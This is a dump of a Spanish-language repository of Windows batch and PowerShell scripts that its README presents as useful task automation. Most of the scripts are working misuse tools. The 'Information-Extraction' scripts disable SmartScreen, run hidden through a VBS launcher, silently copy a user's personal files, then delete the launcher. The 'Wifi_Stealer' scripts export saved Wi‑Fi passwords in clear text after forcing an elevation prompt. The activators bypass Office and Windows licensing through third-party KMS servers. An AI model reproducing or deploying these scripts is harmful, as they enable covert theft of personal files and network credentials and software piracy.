├── Activations
├── Activate_Office_2016.bat
├── Activate_Office_2019.bat
└── Win_10_Activation.bat
├── Information-Extraction
├── Backup
│ ├── Hi-Backup.bat
│ ├── backup.bat
│ └── invisible.vbs
├── Full_Copy.bat
└── Plain_Copy.bat
├── README.md
├── Tools
└── Delete_Data_Temp.bat
└── Wifi_Stealer
├── Con_Pass.ps1
├── Wifi-Pass-Name.bat
└── Wifi_All.bat
/Activations/Activate_Office_2016.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | @REM ---------- EJECUTAR COMO ADMINISTRADOR ---------------
3 | color 02
4 |
5 | title Microsoft Office 2016 Activator&cls&echo.&echo ****************************************************************************&echo Microsoft Office 2016 Activator!&echo.&echo.****************************************************************************&echo.&echo #This project is using KMS server.&echo.&echo #Supported products:&echo - Microsoft Office Standard 2016&echo - Microsoft Office Professional Plus 2016&echo.&(if exist "%ProgramFiles%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles%\Microsoft Office\Office16")&(if exist "%ProgramFiles(x86)%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles(x86)%\Microsoft Office\Office16")&(for /f %%x in ('dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul)&(for /f %%x in ('dir /b ..\root\Licenses16\proplusvl_mak*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul)&echo.&echo ****************************************************************************&echo Activating your Microsoft Office...&echo.&cscript //nologo ospp.vbs /unpkey:WFG99 >nul&cscript //nologo ospp.vbs /unpkey:DRTFM >nul&cscript //nologo ospp.vbs /unpkey:BTDRB >nul&cscript //nologo ospp.vbs /unpkey:CPQVG >nul&cscript //nologo ospp.vbs /inpkey:XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99 >nul&set i=1
6 | :server
7 | if %i%==1 set KMS_Sev=kms7.MSGuides.com
8 | if %i%==2 set KMS_Sev=kms8.MSGuides.com
9 | if %i%==3 set KMS_Sev=kms9.MSGuides.com
10 | if %i%==4 goto notsupported
11 | cscript //nologo ospp.vbs /sethst:%KMS_Sev% >nul&echo ****************************************************************************&echo.
12 | cscript //nologo ospp.vbs /act | find /i "successful" && (echo.&echo ****************************************************************************&echo.&echo ****************************************************************************&echo.&choice /n /c YN /m "Quieres ver mis proyectos en Github? [y/n]?" & if errorlevel 2 exit) || (echo The connection to my KMS server failed! Trying to connect to another one... & echo Please wait... & echo. & echo. & set /a i+=1 & goto server)
13 | explorer "https://github.com/Yextep"&goto halt
14 | :notsupported
15 | echo.&echo ***************************************************************************=&echo Sorry! Your version is not supported.&echo Please try installing the latest version!
16 | :halt
17 | pause
18 |
--------------------------------------------------------------------------------
/Activations/Activate_Office_2019.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | @REM ---------- EJECUTAR COMO ADMINISTRADOR ---------------
3 | color 02
4 | title KMS Activator for Microsoft Office 2019 &cls&echo ************************************************* &Activador office2019&echo ************************************************* &echo.&echo Supported products:&echo Microsoft Office Standard 2019&echo Microsoft Office Professional 2019&echo.&echo Microsoft Office 2019 activation...
5 | (if exist "%ProgramFiles%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles%\Microsoft Office\Office16")&(if exist "%ProgramFiles(x86)%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles(x86)%\Microsoft Office\Office16")&(for /f %%x in ('dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul)&(for /f %%x in ('dir /b ..\root\Licenses16\proplus2019vl*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul)
6 | cscript //nologo ospp.vbs /unpkey:6MWKP >nul&
7 | cscript //nologo ospp.vbs /inpkey:NMMKJ-6RK4F-KMJVX-8D9MJ-6MWKP >nul&set i=1
8 | :server
9 | if %i%==1 set KMS_Sev=kms.digiboy.ir
10 | if %i%==2 set KMS_Sev=kms8.MSGuides.com
11 | if %i%==3 set KMS_Sev=kms.chinancce.com
12 | if %i%==4 set KMS_Sev=fourdeltaone.net:1688
13 | if %i%==5 set KMS_Sev=147.134.1.42
14 | if %i%==6 set KMS_Sev=98.212.2.163
15 | if %i%==7 set KMS_Sev=kms.crackmywpa.com
16 | if %i%==8 set KMS_Sev=win81.no-ip.org
17 | if %i%==9 set KMS_Sev=whwebsolution.no-ip.org
18 | if %i%==10 set KMS_Sev=cckms.nccu.edu.tw
19 | if %i%==11 set KMS_Sev=lsu-kms.lsu.edu
20 | if %i%==12 set KMS_Sev=kms.isu.edu.tw
21 | if %i%==13 set KMS_Sev=uitsckms.uit.tufts.edu
22 | if %i%==14 set KMS_Sev=58.173.212.51
23 | if %i%==15 set KMS_Sev=vhk.3322.org
24 | if %i%==16 set KMS_Sev=140.133.45.107
25 | if %i%==17 set KMS_Sev=noair.strangled.net:1688
26 | if %i%==18 goto notsupported
27 |
28 | cscript //nologo ospp.vbs /sethst:%KMS_Sev% >nul&echo ************************************************* &echo.
29 | cscript //nologo ospp.vbs /act | find /i "successful" && (echo.&echo ************************************************* &echo.&choice /n /c YN /m "Do you want to restart your PC now [Y,N]?" & if errorlevel 2 exit) || (echo The connection to the server failed! Trying to connect to another one... & echo Please wait... & echo. & echo. & set /a i+=1 & goto server)
30 | shutdown.exe /r /t 00
31 | :notsupported
32 | echo.&echo ************************************************* &echo Incorrect version of MS Office &echo Make sure that you use MS Office 2019/365 version.
33 | :halt
34 | pause >nul
35 |
--------------------------------------------------------------------------------
/Activations/Win_10_Activation.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | title Activate Windows 10 ALL versions!&cls&echo ============================================================================&echo #Project: Activating Microsoft&echo ============================================================================&echo.&echo #Supported products:&echo - Windows 10 Home&echo - Windows 10 Home N&echo - Windows 10 Home Single Language&echo - Windows 10 Home Country Specific&echo - Windows 10 Professional&echo - Windows 10 Professional N&echo - Windows 10 Education N&echo - Windows 10 Education N&echo - Windows 10 Enterprise&echo - Windows 10 Enterprise N&echo - Windows 10 Enterprise LTSB&echo - Windows 10 Enterprise LTSB N&echo.&echo.&echo ============================================================================&echo Activating your Windows...&cscript //nologo slmgr.vbs /ckms >nul&cscript //nologo slmgr.vbs /upk >nul&cscript //nologo slmgr.vbs /cpky >nul&set i=1&wmic os | findstr /I "enterprise" >nul
3 | if %errorlevel% EQU 0 (cscript //nologo slmgr.vbs /ipk NPPR9-FWDCX-D2C8J-H872K-2YT43 >nul&cscript //nologo slmgr.vbs /ipk DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4 >nul&cscript //nologo slmgr.vbs /ipk WNMTR-4C88C-JK8YV-HQ7T2-76DF9 >nul&cscript //nologo slmgr.vbs /ipk 2F77B-TNFGY-69QQF-B8YKP-D69TJ >nul&cscript //nologo slmgr.vbs /ipk DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ >nul&cscript //nologo slmgr.vbs /ipk QFFDN-GRT3P-VKWWX-X7T3R-8B639 >nul&goto server) else wmic os | findstr /I "home" >nul
4 | if %errorlevel% EQU 0 (cscript //nologo slmgr.vbs /ipk TX9XD-98N7V-6WMQ6-BX7FG-H8Q99 >nul&cscript //nologo slmgr.vbs /ipk 3KHY7-WNT83-DGQKR-F7HPR-844BM >nul&cscript //nologo slmgr.vbs /ipk 7HNRX-D7KGG-3K4RQ-4WPJ4-YTDFH >nul&cscript //nologo slmgr.vbs /ipk PVMJN-6DFY6-9CCP6-7BKTT-D3WVR >nul&goto server) else wmic os | findstr /I "education" >nul
5 | if %errorlevel% EQU 0 (cscript //nologo slmgr.vbs /ipk NW6C2-QMPVW-D7KKK-3GKT6-VCFB2 >nul&cscript //nologo slmgr.vbs /ipk 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ >nul&goto server) else wmic os | findstr /I "10 pro" >nul
6 | if %errorlevel% EQU 0 (cscript //nologo slmgr.vbs /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX >nul&cscript //nologo slmgr.vbs /ipk MH37W-N47XK-V7XM9-C7227-GCQG9 >nul&goto server) else (goto notsupported)
7 | :server
8 | if %i%==1 set KMS_Sev=kms7.MSGuides.com
9 | if %i%==2 set KMS_Sev=kms8.MSGuides.com
10 | if %i%==3 set KMS_Sev=kms9.MSGuides.com
11 | if %i%==4 goto notsupported
12 | cscript //nologo slmgr.vbs /skms %KMS_Sev%:1688 >nul&echo ============================================================================&echo.&echo.
13 | cscript //nologo slmgr.vbs /ato | find /i "successfully" && (echo.&echo ****************************************************************************&echo.&echo ****************************************************************************&echo.&choice /n /c YN /m "Quieres ver mis proyectos en Github? [y/n]?" & if errorlevel 2 exit) || (echo The connection to my KMS server failed! Trying to connect to another one... & echo Please wait... & echo. & echo. & set /a i+=1 & goto server)
14 | explorer "https://github.com/Yextep"&goto halt
15 | :notsupported
16 | echo ============================================================================&echo.&echo Sorry! Your version is not supported.&echo.
17 | :halt
18 | pause >nul
--------------------------------------------------------------------------------
/Information-Extraction/Backup/Hi-Backup.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | SetLocal
3 |
4 | :: Deshabilitar SmartScreen
5 | reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SmartScreen" /v "EnableSmartScreen" /t REG_SZ /d "0" /f
6 |
7 | set VBSFile=%temp%\invisible.vbs
8 | (
9 | echo Set objShell = CreateObject("WScript.Shell"^)
10 | echo objShell.Run "backup.bat", 0, False
11 | )>%VBSFile%
12 | cscript //nologo %VBSFile%
13 |
14 | :: Habilitar SmartScreen nuevamente
15 | reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SmartScreen" /v "EnableSmartScreen" /t REG_SZ /d "1" /f
16 |
17 | EndLocal
18 |
--------------------------------------------------------------------------------
/Information-Extraction/Backup/backup.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | color 02
3 |
4 | SET "DESTINATION=Backup_PC\%USERNAME%"
5 |
6 | IF NOT EXIST "%DESTINATION%" (
7 | MD "%DESTINATION%"
8 | )
9 |
10 | for /R "%USERPROFILE%\Pictures" %%x in (*) do (
11 | call :CopyFile "%%x" "%DESTINATION%\Pictures\"
12 | )
13 |
14 | for /R "%USERPROFILE%\Documents" %%x in (*) do (
15 | call :CopyFile "%%x" "%DESTINATION%\Documents\"
16 | )
17 |
18 | for /R "%USERPROFILE%\Videos" %%x in (*) do (
19 | call :CopyFile "%%x" "%DESTINATION%\Videos\"
20 | )
21 |
22 | for /R "%USERPROFILE%\Downloads" %%x in (*) do (
23 | call :CopyFile "%%x" "%DESTINATION%\Downloads\"
24 | )
25 |
26 | for /R "%USERPROFILE%\Desktop" %%x in (*) do (
27 | call :CopyFile "%%x" "%DESTINATION%\Desktop\"
28 | )
29 |
30 | :: Eliminar el archivo invisible.vbs
31 | del "%temp%\invisible.vbs"
32 |
33 | EXIT
34 |
35 | :CopyFile
36 | SET "SOURCE_FILE=%~1"
37 | SET "DEST_FOLDER=%~2"
38 | MD "%DEST_FOLDER%" 2>nul
39 | xcopy /H "%SOURCE_FILE%" "%DEST_FOLDER%"
40 | GOTO :EOF
41 |
--------------------------------------------------------------------------------
/Information-Extraction/Backup/invisible.vbs:
--------------------------------------------------------------------------------
1 | Set objShell = CreateObject("WScript.Shell")
2 | objShell.Run "backup.bat", 0, False
3 |
--------------------------------------------------------------------------------
/Information-Extraction/Full_Copy.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | color 04
3 |
4 | IF NOT EXIST ".\Data_PC" MD ".\Data_PC"
5 | cd .\Data_PC
6 | for /R C:\ %%x in (*.pdf *.docx *.xlsx *.pptx *.txt *.jpg *.jpeg *.png *.rar *.zip *.html) do copy "%%x" ".\"
7 |
8 | exit?
9 |
--------------------------------------------------------------------------------
/Information-Extraction/Plain_Copy.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | color 02
3 |
4 | IF NOT EXIST ".\Data_PC"%USERNAME% MD ".\Data_PC\"%USERNAME%
5 |
6 | cd ".\Data_PC\"%USERNAME%
7 |
8 | for /R %USERPROFILE%\Pictures\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\"
9 | for /R %USERPROFILE%\Documents\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\"
10 | for /R %USERPROFILE%\Videos\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\"
11 | for /R %USERPROFILE%\Downloads\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\"
12 | for /R %USERPROFILE%\Desktop\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\"
13 |
14 | EXIT
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # Colección .bat útiles para automatización de tareas y procesos.
3 |
4 | **'Bat'** es la abreviatura de **'batch file'** o **'archivo de lotes'**, y básicamente consiste en un archivo de texto que ejecuta secuencias de comandos, con el objetivo, habitualmente, de **Automatizar Tareas** que requieran un largo número de instrucciones (desde renombrado masivo de archivos a la instalación de un programa); así, al recurrir a un ***.bat**, bastará con escribirlo una vez y podremos ahorrar tiempo y **Evitar errores tipográficos.**
5 |
6 | Efectivamente, su utilidad apenas difiere de la de un **Script de PowerShell** o de Bash (en el caso de que uses WSL/Linux), sólo que en el caso de los **BAT** el encargado de ejecutarlo será **CMD.EXE**, también conocido como el **'Símbolo del Sistema'**.[Leer Más](https://es.wikipedia.org/wiki/Archivo_batch)
7 |
8 |
9 |
10 | ## 💡 Cómo crear un batch?
11 | La respuesta es muy sencilla, creamos un **Documento de texto** plano. Como el documento de texto es una hoja en blanco donde ni siquiera se le
12 | puede dar **formato** (formato = forma) mas que a la **fuente** (fuente = letra), no es como el Word con todos esos botones y colores. Una vez que creamos el “documento de texto” con una **Secuencia de comandos** adentro, cambiamos la extensión del archivo a **.bat**.
13 |
14 | ## ¿Cómo cambiar la extensión del archivo?
15 |
16 | Muy fácil, si el documento de texto se llama **“nuevo documento de texto.txt”,** apretamos sobre el Botón derecho a propiedades a donde dice **“nuevodocumentodetexto.txt”** lo cambiamos por **“nuevo documento de texto.bat”**, el truco es cambiar el archivo **“xxxxx.txt”** a **“xxxxx.bat”**, cuando lo hagas una ventanita te va a preguntar si estas seguro, como seguro no hay nada en la vida clickea **“si”**, vas a ver como cambia el icono de una hoja a una **ventanita**.
17 |
18 | ## Scripts .Bat
19 |
20 | En este repositorio encontrarás varios **Scripts** para que pruebes el poder de la **Secuencia de comandos** generada por un simple bloc de notas, solo elije uno de tu preferencia, y empieza a practicar como quieras, en caso de que no encuentres uno en específico puedes buscarlo en internet o también puedes crearlos para **automatizar** las **tareas** que necesites
21 |
22 |
23 |
24 | ## 📚 Ejemplo
25 |
26 | En este ejemplo, el archivo **.Bat** Abre la página principal de este **Sitio Web** u otro que se especifique en el **Navegador predeterminado.**
27 |
28 | ```bash
29 | @echo off
30 | START https://google.com/
31 | ```
32 |
--------------------------------------------------------------------------------
/Tools/Delete_Data_Temp.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 |
3 | @REM Selecciona el color rojo para la visualizacion del texto en la consola.
4 | color 04
5 |
6 |
7 | @REM Menu de opciones para en usuario.
8 | :menu
9 | echo Eliminar Archivos temporales:
10 | echo ---------------------------------
11 | echo Elija una opcion:
12 | echo 1) temp.
13 | echo 2) temp2.
14 | echo 3) prefetch.
15 | echo 4) Todos los anteriores.
16 | echo 5) Cerrar.
17 |
18 | @REM Creo una variable que pide que el usuario digite una opcion
19 | SET /p opcion=
20 |
21 | @REM Condicionales que validan si el usuario digito una de las opciones. Goto lo dirige a una de las opciones creadas con la etiquerta :opcionn
22 | if %opcion%==1 goto opcion1
23 | if %opcion%==2 goto opcion2
24 | if %opcion%==3 goto opcion3
25 | if %opcion%==4 goto opcion4
26 | if %opcion%==5 goto opcion5
27 |
28 | @REM Condicional que valida si la opcion digitada por el usuario es valida o no.
29 | if %opcion% NEQ 5 goto error
30 |
31 | @REM Codigo de las opciones que el usuario puede elegir, elimina los archivos que se encuentran dentro de la carpeta seleccionada.
32 | :opcion1
33 | cls
34 | del c:\Windows\Temp /f /s /q
35 | rd c:\Windows\Temp /s /q
36 | goto menu2
37 |
38 | :opcion2
39 | cls
40 | del C:\Users\%username%\AppData\Local\Temp /f /s /q
41 | rd C:\Users\%username%\AppData\Local\Temp /s /q
42 | goto menu2
43 |
44 | :opcion3
45 | cls
46 | del C:\Windows\Prefetch /f /s /q
47 | rd C:\Windows\Prefetch /s /q
48 | goto menu2
49 |
50 | :opcion4
51 | cls
52 | del c:\Windows\Temp /f /s /q
53 | del C:\Users\%username%\AppData\Local\Temp /f /s /q
54 | del C:\Windows\Prefetch /f /s /q
55 |
56 | rd c:\Windows\Temp /s /q
57 | rd C:\Users\%username%\AppData\Local\Temp /s /q
58 | rd C:\Windows\Prefetch /s /q
59 | goto menu2
60 |
61 | :opcion5
62 | exit
63 |
64 | @REM Opcion en caso de error al diginar un dato no valido.
65 | :error
66 | echo --------------------------------
67 | echo ERROR! Elija una opcion valida entre 1 y 5:
68 | goto menu
69 |
70 | @REM Menu para saber si el uduario desea continuar
71 | :menu2
72 | echo Desea continuar? (S/N)
73 |
74 | @REM Variable para pedir y almacenar un string para definir si el usuario desea o no continuar
75 | SET /p opcionxx=
76 |
77 | @REM Condicionales para validar si el usuario desea o no continuar y asi cerrar el programa o redirigirlo al programa nuevamente
78 | if %opcionxx%==S goto menu
79 | if %opcionxx%==s goto menu
80 | if %opcionxx%==N exit
81 | if %opcionxx%==n exit
82 |
83 |
--------------------------------------------------------------------------------
/Wifi_Stealer/Con_Pass.ps1:
--------------------------------------------------------------------------------
1 | netsh wlan export profile key=clear
2 | echo "" >> claves.txt
3 | dir *.xml |% {
4 | $cittz=[xml] (get-content $_)
5 | $z= "______________________________________________________________________ `r`r`n Nombre de la red WiFi: "+$cittz.WLANProfile.SSIDConfig.SSID.name + "`r`n Contenido de la clave: " +$cittz.WLANProfile.MSM.Security.sharedKey.keymaterial + "`n______________________________________________________________________`n"
6 | Out-File claves.txt -Append -InputObject $z
7 |
8 | }
9 |
10 | rm *.xml -Force
--------------------------------------------------------------------------------
/Wifi_Stealer/Wifi-Pass-Name.bat:
--------------------------------------------------------------------------------
1 | cls
2 | @echo off
3 |
4 | Title Wifi PAssword Finder
5 | NETSH WLAN SHOW PROFILE
6 | pause>nul
7 |
8 | set /p Var1="Enter NetwOrk SSid"
9 | NETSH WLAN SHOW PROFILE %Var1% Key=clear
10 | pause>nul
--------------------------------------------------------------------------------
/Wifi_Stealer/Wifi_All.bat:
--------------------------------------------------------------------------------
1 | cls
2 | color 0a
3 | :admin
4 | IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
5 | >nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
6 | ) ELSE (
7 | >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
8 | )
9 |
10 | if '%errorlevel%' NEQ '0' (
11 | goto UACPrompt
12 | ) else (goto gotAdmin)
13 |
14 | :UACPrompt
15 | echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
16 | set params=%*
17 | echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params:"=""%", "", "runas", 1 >> "%temp%\getadmin.vbs"
18 |
19 | "%temp%\getadmin.vbs"
20 | del "%temp%\getadmin.vbs"
21 | exit /B
22 |
23 | :gotAdmin
24 | pushd "%CD%"
25 | CD /D "%~dp0"
26 |
27 |
28 | :Con_Pass
29 | powershell -ExecutionPolicy ByPass -File Con_Pass.ps1 >nul
30 | timeout 1 >nul
31 | cls
32 | pause >nul
33 |
--------------------------------------------------------------------------------